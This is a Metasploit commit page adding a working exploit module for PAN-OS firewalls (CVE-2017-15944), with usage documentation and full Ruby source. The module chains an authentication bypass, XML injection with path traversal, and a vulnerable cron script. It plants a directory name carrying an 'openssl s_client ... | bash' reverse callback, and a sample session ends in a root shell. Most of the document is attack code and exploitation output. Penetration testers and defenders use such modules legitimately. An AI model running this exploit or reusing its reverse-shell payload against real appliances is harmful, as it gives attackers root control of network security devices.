Land #9980, PAN-OS readSessionVarsFromFile exploit

4.x
William Vu 2018-05-07 14:55:00 -05:00 committed by Metasploit
parent 78f546ce81
commit 0aaae09e5c
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 257 additions and 0 deletions

View File

@ -0,0 +1,59 @@
## Description
This module exploits a chain of vulnerabilities in Palo Alto Networks products running
PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
an authentication bypass flaw to to exploit an XML injection issue, which is then
abused to create an arbitrary directory, and finally gains root code execution by
exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
to stage arbitrary payloads on the target appliance. The cron job used for the final
payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
## Vulnerable Application
This exploit was specifically written against PAN-OS 7.1.0 running in a QEMU (kvm) virtual machine.
This VM is not generally available, but the specific disk image used was `PA-VM-KVM-7.1.0.qcow2`.
## Verification Steps
1. Start msfconsole
2. ```use exploit/linux/http/panos_readsessionvars```
3. ```set RHOST [IP]```
4. ```exploit```
5. You should get a session (eventually)
## Options
**CBHOST** The callback listener address if the default is not accurate (port forwarding, etc)
**CBPORT** The callback listener port
## Scenarios
```
msf5 exploit(linux/http/panos_readsessionvars) > exploit
[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Creating our corrupted session ID...
[*] Verifying that we can access the debug console with our corrupted session ID...
[*] Calling Administrator.get to create directory under /opt/pancfg/mgmt/logdb/config/1/...
[*] Waiting up to 20 minutes for the cronjob to fire and execute...
[*] Waiting for a session, 1200 seconds left...
[*] Waiting for a session, 1169 seconds left...
[*] Waiting for a session, 1138 seconds left...
[*] Waiting for a session, 1107 seconds left...
[*] Waiting for a session, 1076 seconds left...
[*] Waiting for a session, 1044 seconds left...
[*] Waiting for a session, 1013 seconds left...
[*] Waiting for a session, 982 seconds left...
[*] Waiting for a session, 951 seconds left...
[*] Waiting for a session, 920 seconds left...
[+] Sending payload of 67 bytes to 192.168.122.98:39499...
[*] Command shell session 7 opened (192.168.122.1:4444 -> 192.168.122.98:44858) at 2018-05-05 15:45:02 -0500
[!] Remember to manually purge the base directory: 'rm -rf /opt/pancfg/mgmt/logdb/config/1/'
[*] Shutting down payload stager listener...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

View File

@ -0,0 +1,198 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Palo Alto Networks readSessionVarsFromFile() Session Corruption',
'Description' => %q{
This module exploits a chain of vulnerabilities in Palo Alto Networks products running
PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
an authentication bypass flaw to to exploit an XML injection issue, which is then
abused to create an arbitrary directory, and finally gains root code execution by
exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
to stage arbitrary payloads on the target appliance. The cron job used for the final
payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
},
'Author' => [
'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery
'hdm' # Metasploit module
],
'References' => [
['CVE', '2017-15944'],
['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'],
['BID', '102079'],
],
'DisclosureDate' => 'Dec 11 2017',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
])
end
def exploit
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
# Start a listener
start_listener(true)
# Figure out the port we picked
cbport = self.service.getsockname[2]
# Set the base directory and the staging payload directory path name
base_directory = "/opt/pancfg/mgmt/logdb/traffic/1/"
command_payload = "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; "
target_directory = base_directory + command_payload
if target_directory.length > 255
print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)")
return
end
dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
user_id = rand(2000).to_s
print_status("Creating our corrupted session ID...")
# Obtain a session cookie linked to a corrupted session file. A raw request
# is needed to prevent encoding of the parameters injected into the session
res = send_request_raw(
'method' => 'GET',
'uri' => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
)
unless res && res.body.to_s.index('@start@Success@end@')
print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
return
end
cookies = res.get_cookies
unless cookies =~ /PHPSESSID=([a-fA-F0-9]+)/
print_error("Unexpected cookie response when creating the corrupted session cookie: #{res.code} #{res.message} #{cookies}")
return
end
create_directory_tid = 1 + rand(1000)
create_directory_json = JSON.dump({
"action" => "PanDirect",
"method" => "execute",
"data" => [
Rex::Text.md5(create_directory_tid.to_s),
"Administrator.get",
{
"changeMyPassword" => true,
"template" => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
"id" => "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../..#{target_directory}'/>\x00"
}
],
"type" => "rpc",
"tid" => create_directory_tid
})
print_status("Calling Administrator.get to create directory under #{base_directory}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => '/php/utils/router.php/Administrator.get',
'cookie' => cookies,
'ctype' => "application/json",
'data' => create_directory_json
)
unless res && res.body.to_s.index('Async request enqueued')
print_error("Unexpected response when calling Administrator.get method: #{res.code} #{res.message}")
return
end
register_dirs_for_cleanup(base_directory)
print_status("Waiting up to 20 minutes for the cronjob to fire and execute...")
expiry = Time.at(Time.now.to_i + (60*20)).to_i
last_notice = 0
while expiry > Time.now.to_i && ! session_created?
if last_notice + 30 < Time.now.to_i
print_status("Waiting for a session, #{expiry - Time.now.to_i} seconds left...")
last_notice = Time.now.to_i
end
sleep(1)
end
unless session_created?
print_error("No connection received from the target, giving up.")
end
end
def stage_real_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")
end
def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => true,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
self.service.on_client_connect_proc = Proc.new { |client|
stage_real_payload(client)
}
# Start the listening service
self.service.start
end
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::SocketError
end
end
end
# Accessor for our TCP payload stager
attr_accessor :service
end